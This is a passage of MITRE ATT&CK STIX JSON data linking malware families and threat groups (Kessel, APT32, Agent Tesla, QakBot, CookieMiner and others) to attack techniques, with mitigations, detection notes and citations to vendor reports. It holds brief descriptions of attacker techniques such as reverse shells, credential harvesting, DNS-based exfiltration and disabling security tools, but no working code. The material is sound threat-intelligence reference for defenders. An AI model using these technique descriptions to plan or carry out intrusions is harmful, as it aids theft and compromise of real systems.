["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--46da305e-d59a-42a4-9d2b-cdd223c69664", "type": "relationship", "created": "2020-07-23T16:50:06.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}], "modified": "2020-07-23T16:50:06.597Z", "description": "[Kessel](https://attack.mitre.org/software/S0487) can create a reverse shell between the infected host and a specified system.(Citation: ESET ForSSHe December 2018)\t", "relationship_type": "uses", "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--46dd6393-93c7-4e61-8a47-ceecd5b77589", "type": "relationship", "created": "2021-04-06T15:53:34.933Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intezer Doki July 20", "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}], "modified": "2021-04-09T13:34:40.223Z", "description": "[Doki](https://attack.mitre.org/software/S0600)\u2019s container was configured to bind the host root directory.(Citation: Intezer Doki July 20)", "relationship_type": "uses", "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", "target_ref": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--46e6fd22-1f0b-452c-bcf3-c24fe5911fd4", "type": "relationship", "created": "2019-04-24T16:33:49.452Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-03-17T18:48:45.312Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has used cmd.exe for execution.(Citation: Cybereason Cobalt Kitty 2017) ", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--46e81587-e960-4277-9c3b-af2bdc328176", "created": "2023-01-24T00:42:18.605Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-24T00:42:18.605Z", "description": "[metaMain](https://attack.mitre.org/software/S1059) registered a WMI event subscription consumer called \"hard_disk_stat\" to establish persistence.(Citation: SentinelLabs Metador Sept 2022)", "relationship_type": "uses", "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--46e84bd8-d38f-43e7-b62b-ea211231abef", "type": "relationship", "created": "2020-10-27T19:26:38.137Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BLINDINGCAN Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}], "modified": "2020-10-27T19:26:38.137Z", "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has encoded its C2 traffic with Base64.(Citation: US-CERT BLINDINGCAN Aug 2020)", "relationship_type": "uses", "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--46eeb6fa-2dcb-4c86-b79e-8891b2e72566", "type": "relationship", "created": "2020-03-26T15:53:25.125Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft More information about DLL", "url": "https://msrc-blog.microsoft.com/2010/08/23/more-information-about-the-dll-preloading-remote-attack-vector/", "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014."}, {"source_name": "Microsoft Dynamic Link Library Search Order", "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN", "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."}], "modified": "2022-03-09T18:44:33.751Z", "description": "Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+.\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode</code>(Citation: Microsoft More information about DLL)(Citation: Microsoft Dynamic Link Library Search Order)", "relationship_type": "mitigates", "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--46f301cd-8ae3-431a-931b-df4bb4fee271", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ProjectSauron Full Report", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}], "modified": "2020-03-11T17:45:33.773Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) harvests plain-text credentials as a password filter registered on domain controllers.(Citation: Kaspersky ProjectSauron Full Report)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--46fa464b-20e0-4c77-9b75-580f9f236c43", "type": "relationship", "created": "2020-03-17T00:11:31.829Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET OceanLotus Mar 2019", "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019."}], "modified": "2020-03-17T03:02:39.724Z", "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor can exfiltrate data by encoding it in the subdomain field of DNS packets.(Citation: ESET OceanLotus Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Regin", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}], "modified": "2020-06-29T01:54:53.451Z", "description": "[Regin](https://attack.mitre.org/software/S0019) stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.(Citation: Kaspersky Regin)", "relationship_type": "uses", "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", "target_ref": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--471304cd-f98a-49f7-a33e-2d69ab6c8a47", "type": "relationship", "created": "2020-08-13T16:45:47.078Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Threatpost Hancitor", "url": "https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/", "description": "Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."}], "modified": "2020-08-13T16:45:47.078Z", "description": "[Hancitor](https://attack.mitre.org/software/S0499) has relied upon users clicking on a malicious link delivered through phishing.(Citation: Threatpost Hancitor)", "relationship_type": "uses", "source_ref": "malware--ef2247bf-8062-404b-894f-d65d00564817", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4716b9ec-a0d4-47db-a901-5a3b67d9e096", "type": "relationship", "created": "2020-08-31T15:06:48.160Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}], "modified": "2020-08-31T15:06:48.160Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware has collected Microsoft Office documents from mapped network drives.(Citation: ESET Gamaredon June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47173be4-dc15-49c6-9e81-cba36c6e6c68", "type": "relationship", "created": "2020-12-17T16:56:47.265Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Agent Tesla April 2020", "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}], "modified": "2020-12-17T16:56:47.265Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can gather credentials from a number of browsers.(Citation: Bitdefender Agent Tesla April 2020) ", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--471ac6a2-4e6b-4267-8087-c22c707bbc21", "type": "relationship", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.837Z", "description": "Monitor API calls that could collect data stored in the clipboard from users copying information within or between applications.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--471ea836-ef54-4306-b131-cf66de5811c4", "type": "relationship", "created": "2021-09-28T19:47:10.886Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-11T17:43:50.387Z", "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has attempted to convince victims to enable malicious content within a spearphishing email by including an odd decoy message.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--471f9672-c5f0-4620-a7c1-4f48c0ad983c", "type": "relationship", "created": "2022-03-30T14:26:51.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.836Z", "description": "Monitor executed commands and arguments that may consist of logon scripts for unusual access by abnormal users or at abnormal times.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4723be88-3553-4c1c-8cd1-8c68b161c1cf", "type": "relationship", "created": "2021-04-08T18:09:42.967Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}], "modified": "2021-04-09T14:32:22.160Z", "description": "[Kinsing](https://attack.mitre.org/software/S0599) has used chmod to modify permissions on key files for use.(Citation: Aqua Kinsing April 2020)", "relationship_type": "uses", "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47266bcb-b16a-4d95-9c10-bfc48b2f5a8b", "type": "relationship", "created": "2020-11-13T21:48:16.981Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-12-09T19:12:41.373Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can modify the binary ACL to prevent security tools from running.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--472878d3-3a6a-4ad2-8fcf-e73a74fd48b6", "type": "relationship", "created": "2020-11-23T22:19:46.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "360 Machete Sep 2020", "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", "description": "kate. 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Retrieved November 20, 2020."}], "modified": "2020-11-23T22:19:46.857Z", "description": "[Machete](https://attack.mitre.org/groups/G0095) has embedded malicious macros within spearphishing attachments to download additional files.(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--472c61e4-e839-4766-b1ce-d9095203e538", "type": "relationship", "created": "2020-06-22T14:58:06.557Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Skidmap", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", "description": "Remillano, A., Urbanec, J. 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It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1090/004).", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4739d942-9d7f-4d7b-8aaf-af5464f76d44", "created": "2024-02-12T20:17:07.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. 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", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47415b89-a254-49a8-95c4-7efae85cac2c", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. 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(2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}], "modified": "2020-03-16T19:40:54.250Z", "description": "[Matryoshka](https://attack.mitre.org/software/S0167) uses reflective DLL injection to inject the malicious library and execute the RAT.(Citation: CopyKittens Nov 2015)", "relationship_type": "uses", "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47440b3d-e6ef-4f7d-b732-453d1684424a", "type": "relationship", "created": "2020-06-11T19:52:07.283Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-06-15T19:59:06.693Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has compiled malware, delivered to victims as .c files, with the GNU Compiler Collection (GCC).(Citation: Anomali Rocke March 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--474912e8-0f81-439c-a613-51cbb9c0baa9", "created": "2021-09-30T14:01:31.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro Black Basta October 2022", "description": "Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.", "url": "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}, {"source_name": "Kaspersky QakBot September 2021", "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.", "url": "https://securelist.com/qakbot-technical-analysis/103931/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-15T18:23:53.671Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can identify the user name on a compromised system.(Citation: Kaspersky QakBot September 2021)(Citation: Trend Micro Black Basta October 2022)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--474d9df3-c596-4468-877a-85e4ad91ccbb", "type": "relationship", "created": "2019-06-24T13:56:03.619Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-24T15:06:46.244Z", "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods.", "relationship_type": "mitigates", "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--474e148d-4f4a-41d4-994e-d6425c7445f3", "type": "relationship", "created": "2020-07-22T19:16:02.898Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 CookieMiner Jan 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."}], "modified": "2020-07-22T19:16:02.898Z", "description": "[CookieMiner](https://attack.mitre.org/software/S0492) can steal Google Chrome and Apple Safari browser cookies from the victim\u2019s machine. (Citation: Unit42 CookieMiner Jan 2019)", "relationship_type": "uses", "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4753b372-6ac2-4a0e-8e0c-1a14c884fa8e", "created": "2022-07-25T18:12:38.748Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:12:38.748Z", "relationship_type": "uses", "source_ref": "intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa", "target_ref": "malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f", "type": "relationship", "created": "2017-05-31T21:33:27.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2019-08-20T13:08:13.542Z", "description": "(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--47552c49-4027-41f1-ad5f-44e4533dbf19", "created": "2023-06-08T19:58:54.691Z", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-06-08T19:58:54.691Z", "description": 